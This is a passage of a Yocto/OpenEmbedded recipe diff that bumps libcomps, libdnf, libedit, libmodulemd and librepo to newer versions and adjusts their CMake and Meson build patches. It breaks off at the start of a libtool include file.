--- a/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -10,18 +10,18 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
-index b9b96ab..6d44567 100644
+index f813af4..9eebb6c 100644
--- a/libcomps/src/python/src/CMakeLists.txt
+++ b/libcomps/src/python/src/CMakeLists.txt
-@@ -115,7 +115,7 @@ IF (SKBUILD)
+@@ -85,7 +85,7 @@ IF (SKBUILD)
INSTALL(FILES libcomps/__init__.py DESTINATION libcomps/src/python/src/libcomps)
INSTALL(TARGETS pycomps LIBRARY DESTINATION libcomps/src/python/src/libcomps)
ELSE ()
-- EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+ #EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+- EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++ #EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INSTALL(FILES ${pycomps_SRCDIR}/libcomps/__init__.py DESTINATION ${PYTHON_INSTALL_DIR}/libcomps)
#INSTALL(FILES ${pycomps_SRCDIR}/tests/__test.py DESTINATION
--
-2.26.2
+2.25.1
diff --git a/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb b/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb
deleted file mode 100644
index 98c55dca85..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/libcomps.git \
- file://0001-Add-crc32.c-to-sources-list.patch \
- file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- "
-
-SRCREV = "b213f749405d84e989b25e183bcf28ce701696dd"
-
-S = "${WORKDIR}/git"
-
-inherit cmake distutils3-base
-
-DEPENDS += "libxml2 expat libcheck"
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-OECMAKE_SOURCEPATH = "${S}/libcomps"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb b/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb
new file mode 100644
index 0000000000..ff6ecc7601
--- /dev/null
+++ b/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
+HOMEPAGE = "https://github.com/rpm-software-management/libcomps"
+DESCRIPTION = "Libcomps is alternative for yum.comps library. It's written in pure C as library and there's bindings for python2 and python3."
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/libcomps.git;branch=master;protocol=https \
+ file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ "
+
+SRCREV = "dee4ae37f7818709802de28c4d16fa823bd83ae2"
+
+S = "${WORKDIR}/git"
+
+inherit cmake distutils3-base
+
+DEPENDS += "libxml2 expat libcheck"
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
+OECMAKE_SOURCEPATH = "${S}/libcomps"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
index 384add5e12..607995a394 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] Add WITH_TESTS option
This makes a dependency on cppunit optional.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/rpm-software-management/libdnf/pull/1382]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch
index 6dd7c71aae..2d8213cc87 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 19 Nov 2019 13:46:09 +0100
Subject: [PATCH] Look fo sphinx only if documentation is actually enabled
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/rpm-software-management/libdnf/pull/1383]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
docs/hawkey/CMakeLists.txt | 20 +++++++++++---------
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
new file mode 100644
index 0000000000..d483dd410b
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
@@ -0,0 +1,42 @@
+From c0a465ccae395871ab10932975e37894220bc6a1 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Tue, 1 Jun 2021 10:23:59 +0800
+Subject: [PATCH] drop FindPythonInstDir.cmake
+
+Since commit [1] applied, PYTHON_INSTALL_DIR is not right
+on nativesdk build
+...
+|Building for python3
+|-- Python install dir is
+|tmp-glibc/work/x86_64-nativesdk-wrlinuxsdk-linux/nativesdk-libdnf/0.63.0-r0/
+recipe-sysroot-native/usr/lib/python3.9/site-packages
+...
+
+Yocto manually set PYTHON_INSTALL_DIR from recipe, it is not
+necessary to call FindPythonInstDir.cmake which will override
+Yocto setting
+
+[1] https://github.com/rpm-software-management/libdnf/commit/f1cffbfb9f338da827e233c2d8ac3a25a6a59a69
+
+Upstream-Status: Inappropriate [Yocto specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ cmake/modules/FindPythonInstDir.cmake | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+diff --git a/cmake/modules/FindPythonInstDir.cmake b/cmake/modules/FindPythonInstDir.cmake
+index ed098ded..8b137891 100644
+--- a/cmake/modules/FindPythonInstDir.cmake
++++ b/cmake/modules/FindPythonInstDir.cmake
+@@ -1,6 +1 @@
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+-from sys import stdout
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+-stdout.write(path)"
+-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++
+--
+2.18.1
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch b/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch
new file mode 100644
index 0000000000..6f8a3dcb50
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch
@@ -0,0 +1,37 @@
+From 2f7382b35d59fe08034603497e82ffb943fedef1 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 30 Jun 2021 15:31:16 +0200
+Subject: [PATCH] libdnf/dnf-context.cpp: do not try to access BDB database
+
+Upstream-Status: Inappropriate [upstream needs to rework this to support
+sqlite]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ libdnf/dnf-context.cpp | 14 --------------
+ 1 file changed, 14 deletions(-)
+
+diff --git a/libdnf/dnf-context.cpp b/libdnf/dnf-context.cpp
+index 86f71a79..9cdcf769 100644
+--- a/libdnf/dnf-context.cpp
++++ b/libdnf/dnf-context.cpp
+@@ -2264,20 +2264,6 @@ dnf_context_setup(DnfContext *context,
+ !dnf_context_set_os_release(context, error))
+ return FALSE;
+
+- /* setup a file monitor on the rpmdb, if we're operating on the native / */
+- if (g_strcmp0(priv->install_root, "/") == 0) {
+- rpmdb_path = g_build_filename(priv->install_root, "var/lib/rpm/Packages", NULL);
+- file_rpmdb = g_file_new_for_path(rpmdb_path);
+- priv->monitor_rpmdb = g_file_monitor_file(file_rpmdb,
+- G_FILE_MONITOR_NONE,
+- NULL,
+- error);
+- if (priv->monitor_rpmdb == NULL)
+- return FALSE;
+- g_signal_connect(priv->monitor_rpmdb, "changed",
+- G_CALLBACK(dnf_context_rpmdb_changed_cb), context);
+- }
+-
+ /* copy any vendor distributed cached metadata */
+ if (!dnf_context_copy_vendor_cache(context, error))
+ return FALSE;
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.55.0.bb b/meta/recipes-devtools/libdnf/libdnf_0.55.0.bb
deleted file mode 100644
index 07b3df40d3..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf_0.55.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Library providing simplified C and Python API to libsolv"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master \
- file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
- file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
- file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
- file://0001-Add-WITH_TESTS-option.patch \
- file://0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch \
- file://enable_test_data_dir_set.patch \
- "
-
-SRCREV = "3f8981c9c5066e5243b695c904031b90f8d57d4a"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd json-c swig-native"
-
-inherit gtk-doc gobject-introspection cmake pkgconfig distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
- -DWITH_TESTS=OFF \
- -DWITH_ZCHUNK=OFF \
- -DWITH_HTML=OFF \
- "
-EXTRA_OECMAKE_append_class-native = " -DWITH_GIR=OFF"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_GIR=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-PNBLACKLIST[libdnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'Does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
-
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.65.0.bb b/meta/recipes-devtools/libdnf/libdnf_0.65.0.bb
new file mode 100644
index 0000000000..fbda7769c0
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf_0.65.0.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Library providing simplified C and Python API to libsolv"
+HOMEPAGE = "https://github.com/rpm-software-management/libdnf"
+DESCRIPTION = "This library provides a high level package-manager. It's core library of dnf, PackageKit and rpm-ostree. It's replacement for deprecated hawkey library which it contains inside and uses librepo under the hood."
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master;protocol=https \
+ file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
+ file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
+ file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
+ file://0001-Add-WITH_TESTS-option.patch \
+ file://0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch \
+ file://enable_test_data_dir_set.patch \
+ file://0001-drop-FindPythonInstDir.cmake.patch \
+ file://0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch \
+ "
+
+SRCREV = "cee3e1c59f849d9be1bb8d7db3090cea5c59f4b6"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!4\.90)\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd json-c swig-native"
+
+inherit gtk-doc gobject-introspection cmake pkgconfig distutils3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
+ -DWITH_TESTS=OFF \
+ -DWITH_ZCHUNK=OFF \
+ -DWITH_HTML=OFF \
+ "
+EXTRA_OECMAKE:append:class-native = " -DWITH_GIR=OFF"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_GIR=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+PNBLACKLIST[libdnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'Does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
+
diff --git a/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb b/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb
deleted file mode 100644
index 8d2d57a930..0000000000
--- a/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "BSD replacement for libreadline"
-DESCRIPTION = "Command line editor library providing generic line editing, \
-history, and tokenization functions"
-HOMEPAGE = "http://www.thrysoee.dk/editline/"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
-
-DEPENDS = "ncurses"
-
-inherit autotools
-
-SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
- file://stdc-predef.patch \
- "
-SRC_URI[md5sum] = "2e22a51131de94ff2df24901f7cfe416"
-SRC_URI[sha256sum] = "dbb82cb7e116a5f8025d35ef5b4f7d4a3cdd0a3909a146a39112095a2d229071"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_${PN}-doc = "history.3"
-ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
diff --git a/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb b/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb
new file mode 100644
index 0000000000..5aa83ef246
--- /dev/null
+++ b/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "BSD replacement for libreadline"
+DESCRIPTION = "Command line editor library providing generic line editing, \
+history, and tokenization functions"
+HOMEPAGE = "http://www.thrysoee.dk/editline/"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
+
+DEPENDS = "ncurses"
+
+inherit autotools
+
+SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
+ file://stdc-predef.patch \
+ "
+SRC_URI[sha256sum] = "6792a6a992050762edcca28ff3318cdb7de37dccf7bc30db59fcd7017eed13c5"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-doc = "history.3"
+ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch b/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch
deleted file mode 100644
index d5c87a1154..0000000000
--- a/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From a04fd2c8ac9e0f7a6fc17f02b2a95227b3d0aae4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 31 Mar 2020 16:06:39 +0200
-Subject: [PATCH] modulemd: generate the manpage only if the feature is enabled
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- modulemd/meson.build | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/modulemd/meson.build b/modulemd/meson.build
-index 9ef1902..9f71e72 100644
---- a/modulemd/meson.build
-+++ b/modulemd/meson.build
-@@ -494,6 +494,7 @@ if with_docs
- )
- endif
-
-+if with_manpages == 'enabled'
- help2man_opts = [
- '--no-info',
- '--section=1',
-@@ -506,3 +507,4 @@ custom_target(
- ],
- install: true,
- install_dir: join_paths(get_option('mandir'), 'man1'))
-+endif
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
index 10204acf23..ee8ce4d6a6 100644
--- a/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
+++ b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
@@ -1,26 +1,24 @@
SUMMARY = "C Library for manipulating module metadata files"
+HOMEPAGE = "https://github.com/fedora-modularity/libmodulemd"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=25a3927bff3ee4f5b21bcb0ed3fcd6bb"
-SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=main \
- file://0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch \
- "
+SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=main"
-PV = "2.9.4"
-SRCREV = "c7254db07b21495fc9bd247c5b17ee20149c05e3"
+PV = "2.13.0"
+SRCREV = "1a032da198333ee77bdbe4be65e60eb4115ea73f"
S = "${WORKDIR}/git"
-inherit meson gobject-introspection python3-dir
+inherit meson gobject-introspection pkgconfig
-EXTRA_OEMESON = "-Ddeveloper_build=false -Dwith_docs=false -Drpmio=disabled -Dlibmagic=disabled -Dwith_manpages=disabled -Dgobject_overrides_dir_py3=${PYTHON_SITEPACKAGES_DIR}/gi/overrides"
+EXTRA_OEMESON = "-Dwith_py3=false -Dwith_docs=false -Drpmio=disabled -Dlibmagic=disabled -Dwith_manpages=disabled -Dgobject_overrides_dir_py3=${PYTHON_SITEPACKAGES_DIR}/gi/overrides"
-DEPENDS += "glib-2.0 libyaml glib-2.0-native python3"
+DEPENDS += "glib-2.0 libyaml glib-2.0-native"
BBCLASSEXTEND = "native nativesdk"
GIR_MESON_OPTION = 'skip_introspection'
GIR_MESON_ENABLE_FLAG = 'false'
GIR_MESON_DISABLE_FLAG = 'true'
-
-FILES_${PN} += "${libdir}/${PYTHON_DIR}/*"
diff --git a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
index b61f0c9324..2ea50f00ff 100644
--- a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
+++ b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
@@ -1,53 +1,38 @@
-From b08a3b71e716dd0485ef51036d32e4c304fb4e67 Mon Sep 17 00:00:00 2001
+From 82bd6d196a0453657cbacaaedd75b2d2fe0bf9ba Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:05:36 +0200
Subject: [PATCH] Do not try to obtain PYTHON_INSTALL_DIR by running python.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
- librepo/python/python2/CMakeLists.txt | 12 ++++++------
- librepo/python/python3/CMakeLists.txt | 12 ++++++------
- 2 files changed, 12 insertions(+), 12 deletions(-)
+ librepo/python/CMakeLists.txt | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
-diff --git a/librepo/python/python2/CMakeLists.txt b/librepo/python/python2/CMakeLists.txt
-index a0f1f9a..1665079 100644
---- a/librepo/python/python2/CMakeLists.txt
-+++ b/librepo/python/python2/CMakeLists.txt
-@@ -1,9 +1,9 @@
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
--from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
--stdout.write(path)"
--OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
-+#stdout.write(path)"
-+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
- INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
+diff --git a/librepo/python/CMakeLists.txt b/librepo/python/CMakeLists.txt
+index 8523ca7..06e5f7b 100644
+--- a/librepo/python/CMakeLists.txt
++++ b/librepo/python/CMakeLists.txt
+@@ -16,12 +16,12 @@ SET (librepomodule_SRCS
+
+ MESSAGE("Building python bindings")
- MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
-diff --git a/librepo/python/python3/CMakeLists.txt b/librepo/python/python3/CMakeLists.txt
-index 52ba44e..da51e10 100644
---- a/librepo/python/python3/CMakeLists.txt
-+++ b/librepo/python/python3/CMakeLists.txt
-@@ -1,9 +1,9 @@
-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
-stdout.write(path)"
-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
++#from sysconfig import get_path
++#path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+#stdout.write(path)"
+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
MESSAGE(STATUS "Python3 install dir is ${PYTHON_INSTALL_DIR}")
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
index 73902e5f58..d61d8fbf85 100644
--- a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
+++ b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
@@ -1,4 +1,4 @@
-From f5a1dfe4c87c228165bc25e7fe464120d8139a3d Mon Sep 17 00:00:00 2001
+From 25113b34bc1aae377d7bf447e69528783e2c177e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:23:27 +0200
Subject: [PATCH] Set gpgme variables with pkg-config, not with cmake module
@@ -12,13 +12,13 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index e949dbe..c954b2e 100644
+index a45d5c4..40249e6 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -31,7 +31,8 @@ PKG_CHECK_MODULES(GLIB2 glib-2.0 REQUIRED)
+@@ -32,7 +32,8 @@ PKG_CHECK_MODULES(GLIB2 glib-2.0 REQUIRED)
PKG_SEARCH_MODULE(LIBCRYPTO REQUIRED libcrypto openssl)
PKG_CHECK_MODULES(LIBXML2 libxml-2.0 REQUIRED)
- FIND_PACKAGE(CURL REQUIRED)
+ FIND_PACKAGE(CURL 7.52.0 REQUIRED)
-FIND_PACKAGE(Gpgme REQUIRED)
+PKG_CHECK_MODULES(GPGME gpgme REQUIRED)
+set(GPGME_VANILLA_LIBRARIES ${GPGME_LIBRARIES})
diff --git a/meta/recipes-devtools/librepo/librepo_1.12.1.bb b/meta/recipes-devtools/librepo/librepo_1.12.1.bb
deleted file mode 100644
index 0597351052..0000000000
--- a/meta/recipes-devtools/librepo/librepo_1.12.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "A library providing C and Python (libcURL like) API \
- for downloading linux repository metadata and packages."
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/librepo.git \
- file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
- file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
- "
-
-SRCREV = "d4ad350291f2937c0b6a3eea9e1d0c8e1051fc32"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
-
-inherit cmake distutils3-base pkgconfig
-
-EXTRA_OECMAKE = " \
- -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
- -DPYTHON_DESIRED=3 \
- -DENABLE_TESTS=OFF \
- -DENABLE_DOCS=OFF \
- -DWITH_ZCHUNK=OFF \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/librepo/librepo_1.14.2.bb b/meta/recipes-devtools/librepo/librepo_1.14.2.bb
new file mode 100644
index 0000000000..61a485cfe8
--- /dev/null
+++ b/meta/recipes-devtools/librepo/librepo_1.14.2.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A library providing C and Python (libcURL like) API \
+ for downloading linux repository metadata and packages."
+HOMEPAGE = "https://github.com/rpm-software-management/librepo"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/librepo.git;branch=master;protocol=https \
+ file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
+ file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
+ "
+
+SRCREV = "3b9a8d17188ba602d139f79b6e61305030f21109"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
+
+inherit cmake distutils3-base pkgconfig
+
+EXTRA_OECMAKE = " \
+ -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
+ -DPYTHON_DESIRED=3 \
+ -DENABLE_TESTS=OFF \
+ -DENABLE_DOCS=OFF \
+ -DWITH_ZCHUNK=OFF \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libtool/libtool-2.4.6.inc b/meta/recipes-devtools/libtool/libtool-2.4.6.inc
index 8e17b56d46..a636926ef9 100644
--- a/meta/recipes-devtools/libtool/libtool-2.4.6.inc
+++ b/meta/recipes-devtools/libtool/libtool-2.4.6.inc
@@ -9,24 +9,29 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://libltdl/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c "
SRC_URI = "${GNU_MIRROR}/libtool/libtool-${PV}.tar.gz \
- file://trailingslash.patch \
